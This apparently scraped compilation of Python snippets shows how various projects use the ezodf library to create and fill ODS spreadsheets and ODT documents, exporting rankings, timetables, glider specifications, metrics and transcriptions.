Example #1
0
def saveRanking(connection, filename):
        """
        Enregistre dans un fichier au format ODS les performances des nageurs, et 
        crée des onglets avec le classement actuel et prévisionnel.
    
        :param connection:
        :param filename: nom du fichier à enregistrer
        :type filename: str
        """

        ods=ezodf.newdoc(doctype="ods", filename=filename)
        ods.inject_style("""<style:style style:name="Titre" style:family="table-cell"><style:table-cell-properties style:text-align-source="fix" style:repeat-content="false" fo:wrap-option="wrap" style:vertical-align="middle" style:vertical-justify="auto"/><style:paragraph-properties fo:text-align="center" fo:margin-left="0mm"/><style:text-properties style:font-name="Titre" fo:font-family="Titre" fo:font-weight="bold" style:font-name-asian="Arial Unicode MS" style:font-family-asian="'Arial Unicode MS'" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-family-complex="'Arial Unicode MS'" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-weight-complex="bold"/></style:style>""")
        #ods.inject_style("""<style:style style:name="Titre" style:family="table-cell"><style:table-cell-properties style:text-align-source="fix" style:repeat-content="false" fo:wrap-option="wrap" style:vertical-align="middle" loext:vertical-justify="auto"/><style:paragraph-properties fo:text-align="center" fo:margin-left="0mm"/><style:text-properties style:font-name="Titre" fo:font-family="Titre" fo:font-weight="bold" style:font-name-asian="Arial Unicode MS" style:font-family-asian="'Arial Unicode MS'" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-family-complex="'Arial Unicode MS'" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-weight-complex="bold"/></style:style>""")

        sheet = createSheetfromTable(connection, 'NatathlonF')
        ods.sheets.append(sheet)
        sheet = createRankingSheet('ClassementF', 'NatathlonF', sheet.nrows())
        ods.sheets.insert(0, sheet)

        sheet = createSheetfromTable(connection, 'NatathlonH')
        ods.sheets.append(sheet)
        sheet = createRankingSheet('ClassementH', 'NatathlonH', sheet.nrows())
        ods.sheets.insert(1, sheet)
        
        sheet = createSheetFromRequest(connection, "Competitions", "SELECT c.Id, c.Date, p.Location FROM Competitions c, Pools p WHERE p.Id = c.IdPool")
        ods.sheets.append(sheet)
        
        ods.save()
Example #2
0
 def create(self, path):
     self._path = path
     self._prepend = None
     self._workbook = ezodf.newdoc(doctype='ods', filename=path)
     self._worksheet = ezodf.Table(self.settings.worksheet,
                                   size=(self.end['row'], self.end['col']))
     self._workbook.sheets.append(self._worksheet)
Example #3
0
    def export_to_ods(self, filename, editor):
        from database.file_formats.exporter.monodi.ods import MonodiOdsConfig
        from ezodf import newdoc, Paragraph, Heading, Sheet
        ods = newdoc(doctype='ods', filename=filename)
        config = MonodiOdsConfig()
        sheet = ezodf.Sheet('Tabellenblatt1', size=(2, config.length))
        ods.sheets += sheet

        for x in config.entries:
            sheet[x.cell.get_entry()].set_value(x.value)
        sheet[''.join(
            [config.dict['Textinitium Editionseinheit'].cell.column,
             str(2)])].set_value(self.textinitium)
        sheet[''.join([config.dict['Startseite'].cell.column,
                       str(2)])].set_value(self.start.page_name)
        sheet[''.join([config.dict['Startzeile'].cell.column,
                       str(2)])].set_value(self.start.row)
        sheet[''.join([config.dict['Endseite'].cell.column,
                       str(2)])].set_value(self.end.page_name)
        sheet[''.join([config.dict['Endzeile'].cell.column,
                       str(2)])].set_value(self.end.row)
        sheet[''.join([config.dict['Editor'].cell.column,
                       str(2)])].set_value(str(editor))
        sheet[''.join([config.dict['Doc-Id\' (intern)'].cell.column,
                       str(2)])].set_value(self.monody_id)
        sheet[''.join([config.dict['Quellen-ID (intern)'].cell.column,
                       str(2)])].set_value('Editorenordner')
        bytes = ods.tobytes()

        return bytes
Example #4
0
def SaveToLibre(filename, grid):
    numcols = grid.GetNumberCols()
    numrows = grid.GetNumberRows()
    book = ezodf.newdoc(doctype="ods", filename=filename)
    book.sheets += ezodf.Sheet('Data', size=(numrows + 10, numcols + 10))
    book.sheets += ezodf.Sheet('Meta', size=(20, numcols + 10))
    datasheet = book.sheets['Data']
    metasheet = book.sheets['Meta']
    metasheet[(0,0)].set_value("Name")
    metasheet[(1,0)].set_value("Alignment")
    metasheet[(2,0)].set_value("Label")
    metasheet[(3,0)].set_value("Measure")
    metasheet[(4,0)].set_value("Variable type")
    metasheet[(5,0)].set_value("Decimal places")
    metasheet[(6,0)].set_value("Missing values")
    for idxx in range(numcols):
        for idxy in range(numrows):
            val = grid.GetCellValue(idxy, idxx)
            datasheet[(idxy + 1, idxx)].set_value(val)
        label = grid.GetColLabelValue(idxx)
        meta = grid.meta[idxx] # was [label]
        datasheet[(0, idxx)].set_value(meta['name'])
        metasheet[(0, idxx + 1)].set_value(meta['name'])
        metasheet[(1, idxx + 1)].set_value(meta['align'])
        metasheet[(2, idxx + 1)].set_value(meta['label'])
        metasheet[(3, idxx + 1)].set_value(meta['measure'])
        metasheet[(4, idxx + 1)].set_value(meta['ivdv'])
        metasheet[(5, idxx + 1)].set_value(meta[str('decplaces')])
        metasheet[(6, idxx + 1)].set_value(meta['missingvalues'])
    book.save()
Example #5
0
 def start_odf(self):
     self.document = ezodf.newdoc(doctype='odt', filename=self.filename)
     self.add_odf_style('SO', 'fo:font-weight="bold"')
     self.add_odf_style('OK', 'fo:font-size="9pt"')
     self.add_odf_style('G', 'fo:font-size="9pt"')
     self.add_odf_style('DSP', 'fo:font-style="italic"')
     self.add_odf_style('TIP', 'fo:font-size="9pt"')
     # IP
     self.add_odf_style('M1', 'fo:font-weight="bold"')
     self.add_odf_style('M2', 'fo:font-weight="bold"')
     # VH, HH, VR, HR
     self.add_odf_style('REF', 'fo:font-weight="bold"')
     self.add_odf_style('FO', 'fo:font-style="italic"')
     self.add_odf_style('TIK', 'fo:font-style="italic" fo:font-size="9pt"')
     self.add_odf_style('FLV', 'fo:font-weight="bold" fo:font-size="9pt"')
     # ÖVP. Se nedan!
     # BE, ÖV
     # ÄV, ÄVK se nedan
     # FOT
     self.add_odf_style('GT', 'fo:font-size="9pt"')
     self.add_odf_style('SOV', 'fo:font-weight="bold"')
     # TI
     # HV, INT
     self.add_odf_style('OKT', 'fo:font-size="9pt"')
     # VS
     self.add_odf_style('GÖ', 'fo:font-size="9pt"')
     # GP, UST
     self.add_odf_style('US', 'fo:font-style="italic"')
     # GÖP, GTP, NYR, VB
     self.add_odf_style('OG', 'style:text-line-through-style="solid"')
     self.add_odf_style('SP', 'fo:font-style="italic"')
Example #6
0
 def create(self, path):
     self._path = path
     self._prepend = None
     self._workbook = ezodf.newdoc(doctype='ods', filename=path)
     self._worksheet = ezodf.Table(self.settings.worksheet,
         size=(self.end['row'], self.end['col']))
     self._workbook.sheets.append(self._worksheet)
Example #7
0
def SaveToLibre(filename, grid):
    numcols = grid.GetNumberCols()
    numrows = grid.GetNumberRows()
    book = ezodf.newdoc(doctype="ods", filename=filename)
    book.sheets += ezodf.Sheet('Data', size=(numrows + 10, numcols + 10))
    book.sheets += ezodf.Sheet('Meta', size=(20, numcols + 10))
    datasheet = book.sheets['Data']
    metasheet = book.sheets['Meta']
    metasheet[(0,0)].set_value("Name")
    metasheet[(1,0)].set_value("Alignment")
    metasheet[(2,0)].set_value("Label")
    metasheet[(3,0)].set_value("Measure")
    metasheet[(4,0)].set_value("Variable type")
    metasheet[(5,0)].set_value("Decimal places")
    metasheet[(6,0)].set_value("Missing values")
    for idxx in range(numcols):
        for idxy in range(numrows):
            val = grid.GetCellValue(idxy, idxx)
            datasheet[(idxy + 1, idxx)].set_value(val)
        label = grid.GetColLabelValue(idxx)
        meta = grid.meta[label]
        datasheet[(0, idxx)].set_value(meta['name'])
        metasheet[(0, idxx + 1)].set_value(meta['name'])
        metasheet[(1, idxx + 1)].set_value(meta['align'])
        metasheet[(2, idxx + 1)].set_value(meta['label'])
        metasheet[(3, idxx + 1)].set_value(meta['measure'])
        metasheet[(4, idxx + 1)].set_value(meta['ivdv'])
        metasheet[(5, idxx + 1)].set_value(meta[str('decplaces')])
        metasheet[(6, idxx + 1)].set_value(meta['missingvalues'])
    book.save()
Example #8
0
    def __init__(self, filename, verbose=False, **kwargs):
        print(
            "\x1b[1;37;43mCode OK only for one sheet size Spreadsheets \x1b[0m"
        )

        self.new_col = False
        self.new_row = False

        #        if "new_cols" in kwargs.keys():
        #            self.new_col = True
        #            self.param_col = kwargs["param_col"] #tuple ou list
        #
        #
        #        if "new_rows" in kwargs.keys():
        #            self.new_row = True
        #            self.param_row = kwargs["param_row"]

        if os.path.exists(filename) == False:
            if os.path.splitext(os.path.abspath(filename))[1] != "ods":
                filename = os.path.splitext(
                    os.path.abspath(filename))[0] + ".ods"

            doc = ez.newdoc(os.path.abspath(filename))

        else:
            doc = ez.opendoc(filename)

        self.doc = doc
        self.kwargs = kwargs
        self.filename = filename
Example #9
0
def export_events_ods(path):
    hist = export_events()
    COLUMNS = [
        'Event',
        'Preempt count',
        'Stack trace',
        'Total',
        'with_fix',
        'without_fix',
        'apache_with_fix',
        'apache_without_fix',
        'memcached_with_fix',
        'memcached_without_fix',
        'node_with_fix',
        'node_without_fix',
        'postgresql_with_fix',
        'postgresql_without_fix',
    ] + [
        '%d MB' % mem_pressure
        for mem_pressure in MEM_SIZES
    ]
    rows = []
    for event, stats in hist.items():
        rows.append([
            event[0],
            int(event[1].split('=')[-1]),
            ','.join([frame[0] for frame in event[2]]),
            sum(stats['by_test'].values()),
            (
                stats['by_test'].get('apache_with_fix', 0) +
                stats['by_test'].get('memcached_with_fix', 0) +
                stats['by_test'].get('node_with_fix', 0) +
                stats['by_test'].get('postgresql_with_fix', 0)
            ),
            (
                stats['by_test'].get('apache_without_fix', 0) +
                stats['by_test'].get('memcached_without_fix', 0) +
                stats['by_test'].get('node_without_fix', 0) +
                stats['by_test'].get('postgresql_without_fix', 0)
            ),
            stats['by_test'].get('apache_with_fix', 0),
            stats['by_test'].get('apache_without_fix', 0),
            stats['by_test'].get('memcached_with_fix', 0),
            stats['by_test'].get('memcached_without_fix', 0),
            stats['by_test'].get('node_with_fix', 0),
            stats['by_test'].get('node_without_fix', 0),
            stats['by_test'].get('postgresql_with_fix', 0),
            stats['by_test'].get('postgresql_without_fix', 0),
        ] + [
            stats['by_mem_pressure'].get(mem_pressure, 0)
            for mem_pressure in MEM_SIZES
        ])
    sorted_rows = sorted(rows, key=lambda x: int(x[3]), reverse=True)
    sheet = ezodf.Sheet('events', size=(4000, 100))
    set_row(sheet, 0, COLUMNS)
    for i, row in enumerate(sorted_rows):
        set_row(sheet, i + 1, row)
    ods = ezodf.newdoc(doctype='ods', filename=path)
    ods.sheets += sheet
    ods.save()
Example #10
0
 def create(self, path):
     self._path = path
     self._max_cells = max(self.cells)
     self._workbook = ezodf.newdoc(doctype='ods', filename=path)
     self._worksheet = ezodf.Table(self.settings.worksheet,
                                   size=(self.end['row'],
                                         self._max_cells + 1))
     self._workbook.sheets.append(self._worksheet)
Example #11
0
 def create(self, path):
     self._path = path
     self._max_cells = max(self.cells)
     self._workbook = ezodf.newdoc(doctype='ods', filename=path)
     self._worksheet = ezodf.Table(
         self.settings.worksheet,
         size=(self.end['row'], self._max_cells + 1))
     self._workbook.sheets.append(self._worksheet)
Example #12
0
    def open(self, file_name, **keywords):
        """open a file for writing ods"""
        BookWriter.open(self, file_name, **keywords)
        self.native_book = ezodf.newdoc(doctype="ods", filename=self.file_alike_object)

        skip_backup_flag = self.keywords.get('skip_backup', True)
        if skip_backup_flag:
            self.native_book.backup = False
Example #13
0
File: odsw.py Project: vuna261/vuna
    def open(self, file_name, **keywords):
        """open a file for writing ods"""
        BookWriter.open(self, file_name, **keywords)
        self._native_book = ezodf.newdoc(doctype="ods",
                                         filename=self._file_alike_object)

        skip_backup_flag = self._keywords.get('skip_backup', True)
        if skip_backup_flag:
            self._native_book.backup = False
Example #14
0
    def exportToOds(self, result, file):
        ods = newdoc(doctype='ods', filename=unicode(file))
        sheet = Sheet('Sheet 1', size=(len(result) + 1, len(result[0]) + 1))
        ods.sheets += sheet

        for i in xrange(len(result)):
            for j in xrange(len(result[0])):
                sheet[i, j].set_value(result[i][j])
        ods.save()
Example #15
0
def main():
    fname = sys.argv[1]
    pf = pdffile(fname)
    pf.get_pages()
    pf.get_text()
    #print pf.text
    odt = newdoc(doctype='odt', filename=fname + '.odt')
    odt.body += Paragraph(pf.text)
    odt.save()
Example #16
0
    def __init__(
        self, file_alike_object, file_type, skip_backup=True, **keywords
    ):
        """open a file for writing ods"""
        self.ods_book = ezodf.newdoc(
            doctype=file_type, filename=file_alike_object
        )

        if skip_backup:
            self.ods_book.backup = False
Example #17
0
 def exportToOds(self, result, file):
     file = unicode(file)#.encode(sys.getfilesystemencoding())
     ods = newdoc(doctype='ods', filename=file)
     sheet = Sheet('Sheet 1', size=(len(result)+1, len(result[0])+1))
     ods.sheets += sheet
     
     for i in xrange(len(result)):
         for j in xrange(len(result[0])):
             sheet[i,j].set_value(result[i][j])
     ods.save()
Example #18
0
 def exportToOds(self, result, file):
     file = unicode(file).encode('windows-1252')
     ods = newdoc(doctype='ods', filename=unicode(file))
     sheet = Sheet('Sheet 1', size=(len(result)+1, len(result[0])+1))
     ods.sheets += sheet
     
     for i in xrange(len(result)):
         for j in xrange(len(result[0])):
             sheet[i,j].set_value(result[i][j])
     ods.save()
Example #19
0
def export_ods_2d(glider, filename):
    doc = ezodf.newdoc(doctype="ods", filename=filename)
    assert isinstance(glider,
                      openglider.glider.parametric.glider.ParametricGlider)

    doc.sheets.append(get_geom_sheet(glider))
    cell_sheet = get_cell_sheet(glider).get_ods_sheet()
    cell_sheet.name = "Cell Elements"
    doc.sheets.append(cell_sheet)
    doc.sheets.append(get_rib_sheet(glider))
    doc.sheets.append(get_airfoil_sheet(glider))
    doc.sheets.append(get_ballooning_sheet(glider))
    doc.sheets.append(get_parametric_sheet(glider))
    doc.sheets.append(get_lines_sheet(glider))
    doc.sheets.append(get_data_sheet(glider))

    # airfoil sheet

    doc.saveas(filename)
Example #20
0
def get_glider_data(glider):
    specsheet = get_specs(glider)
    glider.lineset.recalc(iterations=30)
    linesheet = glider.lineset.get_table()
    linesheet2 = glider.lineset.get_table_2()
    # linesheet = glider.lineset.get_table_2()
    rigidfoils = get_rigidfoils(glider)
    straps = get_straps(glider)
    material_sheets = get_material_sheets(glider)

    out_ods = ezodf.newdoc(doctype="ods")
    out_ods.sheets.append(specsheet)
    out_ods.sheets.append(linesheet.get_ods_sheet())
    out_ods.sheets.append(linesheet2.get_ods_sheet())
    out_ods.sheets.append(rigidfoils)
    out_ods.sheets.append(straps)

    for sheet in material_sheets:
        out_ods.sheets.append(sheet)

    return out_ods
Example #21
0
    def damp_timetable(self, filename):
        ''' Creates file in .ods format with selected name for timetable keeping. '''
        group_names = sorted([g.id for g in self.groups])
        week, hours = TimetablePlanner.WEEK, TimetablePlanner.HOURS + ['6th']
        time_slots = [(d, h) for d in week for h in hours]

        ods = ezodf.newdoc(doctype='ods', filename=filename)
        sheet = ezodf.Sheet('Timetable', size=(37, 6))
        ods.sheets += sheet

        coords = [str(r) + str(c) for r in 'ABCDEF' for c in range(2, 38)]
        headers = [c + '1' for c in 'ABCDEF']

        for header, name in zip(headers, group_names):
            sheet[header].set_value(name)
        start, end = 0, 36
        for g in sorted(self.groups, key=lambda x: x.id):
            for (coord, timeslot) in zip(coords[start:end], time_slots):
                if timeslot in g.busy_time:
                    sheet[coord].set_value(g.busy_time[timeslot][0])
            start, end = end, end + 36
        ods.save()
Example #22
0
    def damp_timetable(self, filename):
        ''' Creates file in .ods format with selected name for timetable keeping. '''
        group_names = sorted([g.id for g in self.groups])
        week, hours = TimetablePlanner.WEEK, TimetablePlanner.HOURS + ['6th']
        time_slots = [(d, h) for d in week for h in hours]

        ods = ezodf.newdoc(doctype='ods', filename=filename)
        sheet = ezodf.Sheet('Timetable', size=(37, 6))
        ods.sheets += sheet

        coords = [str(r) + str(c) for r in 'ABCDEF' for c in range(2, 38)]
        headers = [c + '1' for c in 'ABCDEF']

        for header, name in zip(headers, group_names):
            sheet[header].set_value(name)
        start, end = 0, 36
        for g in sorted(self.groups, key=lambda x: x.id):
            for (coord, timeslot) in zip(coords[start:end], time_slots):
                if timeslot in g.busy_time:
                    sheet[coord].set_value(g.busy_time[timeslot][0])
            start, end = end, end + 36
        ods.save()
def tei2odf(xml_file, xslt_file, result_file):
    xslt_tree = open_file(xslt_file)
    
    transform = etree.XSLT(xslt_tree)
    
    #transform the TEI transcriptions with XSLT to odt XML format
    doc = open_file(xml_file)
    result_tree = transform(doc)

    #create new odt file
    odt = newdoc(doctype='odt', filename=result_file)
    #add styles to the odt file
    styles = result_tree.xpath("//style:style", namespaces={"style": "urn:oasis:names:tc:opendocument:xmlns:style:1.0"})
    for s in styles:
        odt.inject_style(etree.tostring(s, pretty_print = True))

    #add the body/text to the odd file
    text = result_tree.xpath("//office:text/*", namespaces={"office": "urn:oasis:names:tc:opendocument:xmlns:office:1.0"})
    
    for idx, t in enumerate(text):
        odt.body.xmlnode.insert(idx,t)

    odt.save()
Example #24
0
    def export_documents_to_ods(documents: List[Document], filename, username):
        from database.file_formats.exporter.monodi.ods import MonodiOdsConfig
        from ezodf import newdoc, Paragraph, Heading, Sheet
        import ezodf
        ods = newdoc(doctype='ods', filename=filename)
        config = MonodiOdsConfig()
        sheet = ezodf.Sheet('Tabellenblatt1',
                            size=(len(documents) + 1, config.length))
        ods.sheets += sheet
        for x in config.entries:
            sheet[x.cell.get_entry()].set_value(x.value)
        for doc_ind, doc in enumerate(documents, start=2):
            sheet[''.join([
                config.dict['Textinitium Editionseinheit'].cell.column,
                str(doc_ind)
            ])].set_value(doc.textinitium)
            sheet[''.join(
                [config.dict['Startseite'].cell.column,
                 str(doc_ind)])].set_value(doc.start.page_name)
            sheet[''.join(
                [config.dict['Startzeile'].cell.column,
                 str(doc_ind)])].set_value(doc.start.row)
            sheet[''.join([config.dict['Endseite'].cell.column,
                           str(doc_ind)])].set_value(doc.end.page_name)
            sheet[''.join([config.dict['Endzeile'].cell.column,
                           str(doc_ind)])].set_value(doc.end.row)
            sheet[''.join([config.dict['Editor'].cell.column,
                           str(doc_ind)])].set_value(username)
            sheet[''.join(
                [config.dict['Doc-Id\' (intern)'].cell.column,
                 str(doc_ind)])].set_value(doc.monody_id)
            sheet[''.join(
                [config.dict['Quellen-ID (intern)'].cell.column,
                 str(doc_ind)])].set_value('Editorenordner')
        bytes = ods.tobytes()

        return bytes
        print("Index   : " + str(channel.index))
        print("Quantity: " + channel.quantity + "(" + channel.symbol + ")")
        print("Unit    : " + (channel.unit or "--"))
        print("Range   : (" + str(round(float(channel.min), 3)) + ", " + str(round(float(channel.max), 3)) + ")")
        print("Count   : " + channel.count)
        if index < len(channels):
            print("-------------------------------------------")
        index += 1
else:
    if len((args.outputpath or "")) < 1:
        print("No output path specified. Use -h for help")
        exit(1)
    # Construct a sheet from the channels
    length = channels[0].count

    spreadsheet = newdoc(doctype="ods", filename=args.outputpath)
    sheet = Sheet("Sheet 1", size=(int(length) + 10, len(channels)))

    col = 0
    for channel in channels:
        if args.channels is not None:
            if str(channel.index) in args.channels:
                col += channel.appendSheet(sheet, col)
                print("")
        else:
            col += channel.appendSheet(sheet, col)
            print("")

    spreadsheet.sheets += sheet
    spreadsheet.save()
import linecache
from ezodf import newdoc, Sheet

vetor_metricas = [
    'ua', 'mmloc', 'acc', 'da', 'sc', 'mlk', 'rfc', 'uaf', 'saigv', 'amloc',
    'an', 'cbo', 'anpm', 'rsva', 'asom', 'osf', 'npm', 'auv', 'obaa', 'noa',
    'lcom4', 'nom', 'dbz', 'pitfc', 'dnp', 'bd', 'dit', 'npa', 'fgbo', 'dupv',
    'bf', 'noc', 'accm', 'loc', 'df', 'uav', 'rogu'
]

for metrica in vetor_metricas:

    print(metrica)

    #Aqui eu crio a estrutura da planilha
    ods = newdoc(doctype='ods', filename=metrica + '.ods')

    sheet = Sheet('SHEET', size=(100, 12))

    ods.sheets += sheet

    sheet['B1'].set_value("Min")
    sheet['C1'].set_value("1%")
    sheet['D1'].set_value("5%")
    sheet['E1'].set_value("10%")
    sheet['F1'].set_value("25%")
    sheet['G1'].set_value("50%")
    sheet['H1'].set_value("75%")
    sheet['I1'].set_value("90%")
    sheet['J1'].set_value("95%")
    sheet['K1'].set_value("99%")
Example #27
0
def exportTable(matrix, fname, ext, title=None):
    """Save data to a file
    Inputs
        matrix: array with data to save
        fname: name of file to save
        ext: name of format to save
            csv | ods | xls | xlsx
        title: column title array, optional
    """
    sheetTitle = QApplication.translate("pychemqt", "Table")
    if fname.split(".")[-1] != ext:
        fname += ".%s" % ext

    # Format title
    header = []
    if title:
        for ttl in title:
            line = str(ttl).split(os.linesep)
            if line[-1] != "[-]":
                line[-1] = "[" + line[-1] + "]"
            header.append(" ".join(line))

    if ext == "csv":
        import csv
        with open(fname, 'w') as csvfile:
            writer = csv.DictWriter(csvfile, fieldnames=header)

            writer.writeheader()
            for row in matrix:
                kw = {}
                for ttl, value in zip(header, row):
                    kw[ttl] = value
                writer.writerow(kw)

    elif ext == "ods":
        import ezodf
        spreadsheet = ezodf.newdoc("ods", fname)
        sheets = spreadsheet.sheets
        sheet = ezodf.Table(sheetTitle)
        sheets += sheet
        sheet.reset(size=(len(matrix) + 1, len(matrix[0])))

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j + 2)].set_value(data)
        spreadsheet.save()

    elif ext == "xls":
        import xlwt
        spreadsheet = xlwt.Workbook()
        sheet = spreadsheet.add_sheet(sheetTitle)

        font = xlwt.Font()
        font.bold = True
        style = xlwt.XFStyle()
        style.font = font

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet.write(0, i, ttl, style)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet.write(j + 1, i, data)
        spreadsheet.save(fname)

    elif ext == "xlsx":
        import openpyxl
        from openpyxl.styles import Font
        spreadsheet = openpyxl.Workbook()
        sheet = spreadsheet.active
        sheet.title = sheetTitle

        font1 = Font()
        font1.size = 9
        font1.bold = True
        font2 = Font()
        font2.size = 9

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl
                sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j + 2)] = data
                sheet["%s%i" %
                      (spreadsheetColumn(i), j + 2)].style.font = font2
        spreadsheet.save(filename=fname)

    else:
        raise ValueError(
            QApplication.translate("pychemqt", "Unsopported format") + " " +
            ext)
Example #28
0
def prepareOds():
    '''
    '''
    camps = ['total', 'id_districtes', 'districtes', 'id_zones', 'subzona_x','subzona_y','id', 'homes', 'dones', 'no se sap', 'animals', 'al ras', 'sota cobert', 'dins cotxe', 'dins caixer']

    if os.path.isfile(ods) == True:
        return

    doc = ezodf.newdoc(doctype="ods", filename=ods)
    sheets  = doc.sheets
    sheets += ezodf.Table('total')
    sheets += ezodf.Table('districtes')
    sheets += ezodf.Table('zones')
    sheets += ezodf.Table('subzones')
    sheets += ezodf.Table('conteig')

    for sheet in doc.sheets:
        for c, n in enumerate(camps):
            doc.sheets[sheet.name]
            doc.sheets[sheet.name].append_columns(1)
            doc.sheets[sheet.name][0,c].set_value(n)

    #fill fields districtes
    conn = sqlite3.connect(zones)
    c = conn.cursor()
    c.execute('''select cast(c_distri as integer), n_distri from zones  group by c_distri order by cast(c_distri as integer)''')
    for rown , row  in enumerate(c.fetchall()):
        doc.sheets['districtes'].append_rows(1)
        doc.sheets['districtes'][rown+1,1].set_value(row[0])
        doc.sheets['districtes'][rown+1,2].set_value(row[1])
    conn.close()
    doc.save()

    #fill fields zones
    zonesDict={}
    conn = sqlite3.connect(zones)
    c = conn.cursor()
    c.execute('''select cast(c_distri as integer), n_distri, cast(name as integer) from zones  group by name order by cast(name as integer)''')
    for rown , row  in enumerate(c.fetchall()):
        doc.sheets['zones'].append_rows(1)
        doc.sheets['zones'][rown+1,1].set_value(row[0])
        doc.sheets['zones'][rown+1,2].set_value(row[1])
        doc.sheets['zones'][rown+1,3].set_value(row[2])
        zonesDict[row[2]]=(row[0], row[1])
    conn.close()
    doc.save()

    #fill fields subzones
    conn = sqlite3.connect(subzones)
    c = conn.cursor()
    c.execute('''select cast(name as integer), x, y from elementsdiv order by cast(name as integer), x, y''')
    for rown , row  in enumerate(c.fetchall()):
        doc.sheets['zones'].append_rows(1)
        doc.sheets['zones'][rown+1,1].set_value(zonesDict[row[0]][0])
        doc.sheets['zones'][rown+1,2].set_value(zonesDict[row[0]][1])
        doc.sheets['zones'][rown+1,3].set_value(row[0])
        doc.sheets['zones'][rown+1,4].set_value(row[1])
        doc.sheets['zones'][rown+1,5].set_value(row[2])
    conn.close()
    doc.save()
    return
Example #29
0
def exportTable(matrix, fname, ext, title=None):
    """Save data to a file
    Inputs
        matrix: array with data to save
        fname: name of file to save
        ext: name of format to save
            csv | ods | xls | xlsx
        title: column title array, optional
    """
    sheetTitle = QApplication.translate("pychemqt", "Table")
    if fname.split(".")[-1] != ext:
        fname += ".%s" % ext

    # Format title
    header = []
    if title:
        for ttl in title:
            line = str(ttl).split(os.linesep)
            if line[-1] != "[-]":
                line[-1] = "["+line[-1]+"]"
            header.append(" ".join(line))

    if ext == "csv":
        import csv
        with open(fname, 'w') as csvfile:
            writer = csv.DictWriter(csvfile, fieldnames=header)

            writer.writeheader()
            for row in matrix:
                kw = {}
                for ttl, value in zip(header, row):
                    kw[ttl] = value
                writer.writerow(kw)

    elif ext == "ods":
        import ezodf
        spreadsheet = ezodf.newdoc("ods", fname)
        sheets = spreadsheet.sheets
        sheet = ezodf.Table(sheetTitle)
        sheets += sheet
        sheet.reset(size=(len(matrix)+1, len(matrix[0])))

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j+2)].set_value(data)
        spreadsheet.save()

    elif ext == "xls":
        import xlwt
        spreadsheet = xlwt.Workbook()
        sheet = spreadsheet.add_sheet(sheetTitle)

        font = xlwt.Font()
        font.bold = True
        style = xlwt.XFStyle()
        style.font = font

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet.write(0, i, ttl, style)
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet.write(j+1, i, data)
        spreadsheet.save(fname)

    elif ext == "xlsx":
        import openpyxl
        from openpyxl.styles import Font
        spreadsheet = openpyxl.Workbook()
        sheet = spreadsheet.active
        sheet.title = sheetTitle

        font1 = Font()
        font1.size = 9
        font1.bold = True
        font2 = Font()
        font2.size = 9

        # Add Data
        if title:
            for i, ttl in enumerate(header):
                sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl
                sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1
        for j, row in enumerate(matrix):
            for i, data in enumerate(row):
                sheet["%s%i" % (spreadsheetColumn(i), j+2)] = data
                sheet["%s%i" % (spreadsheetColumn(i), j+2)].style.font = font2
        spreadsheet.save(filename=fname)

    else:
        raise ValueError(QApplication.translate(
            "pychemqt", "Unsopported format") + " " + ext)
Example #30
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: 
# Created: 10.04.12
# Copyright (C) 2012, Manfred Moitzi
# License: MIT license

import ezodf
from ezodf.text import Paragraph, Heading
from ezodf.whitespaces import SoftPageBreak

name = 'pageBreakText.odt'
odt = ezodf.newdoc(doctype=name[-3:], filename=name)

odt.body.append(Heading("Page Break test"))

odt.body.append(Paragraph("This is the first page"))

# does not work with LibO/OOo
odt.body.append(SoftPageBreak())

odt.body.append(Paragraph("This is the second page"))

odt.save()
#!/usr/bin/env python
#coding:utf-8
# Purpose: example make_refshett.py
# Created: 05.02.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division
__author__ = "mozman <*****@*****.**>"

import ezodf

NCOLS=10
NROWS=10

ods = ezodf.newdoc('ods', 'refsheet.ods')

sheet = ezodf.Sheet('REFS', size=(NROWS, NCOLS))
ods.sheets += sheet

for row in range(NROWS):
    for col in range(NCOLS):
        content = chr(ord('A') + col) + str(row+1)
        sheet[row, col].set_value(content)

ods.save()
Example #32
0
#!/usr/bin/env python
#coding:utf-8
# Purpose: simple spreadsheet
# Created: 26.01.2011
# Copyright (C) 2011, Manfred Moitzi
# License: MIT license
from __future__ import unicode_literals, print_function, division

__author__ = "mozman <*****@*****.**>"

import ezodf

ods = ezodf.newdoc('ods', "simple_spreadsheet.ods")

sheet = ezodf.Sheet('NUMBERS', size=(20, 10))
ods.sheets += sheet
for index in range(sheet.ncols()):
    sheet[5, index].set_value(index)
    sheet[index, 5].set_value(index)
    sheet[index, index].set_value(index, value_type='currency', currency='EUR')

sheet = ezodf.Sheet('TEXT', size=(20, 10))
ods.sheets += sheet
for column in range(sheet.ncols()):
    for row, cell in enumerate(sheet.column(column)):
        cell.set_value("Cell (%d, %d)" % (row, column))
ods.save()
import os
import linecache
from ezodf import newdoc, Sheet


